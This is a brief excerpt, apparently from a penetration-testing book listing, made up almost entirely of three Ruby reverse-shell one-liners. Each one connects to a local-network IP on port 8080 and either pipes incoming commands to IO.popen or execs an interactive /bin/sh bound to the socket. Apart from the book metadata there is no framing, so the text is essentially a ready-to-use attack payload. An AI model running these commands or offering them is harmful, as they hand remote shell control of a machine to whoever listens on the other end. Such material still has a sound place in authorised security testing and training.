September 2018
Intermediate to advanced
480 pages
9h 45m
English
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.2.6","8080");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Or,
ruby -rsocket -e "c=TCPSocket.new('192.168.0.106','8080');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end"
/bin/sh independent:
ruby -rsocket -e'f=TCPSocket.open("192.168.2.6",8080).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'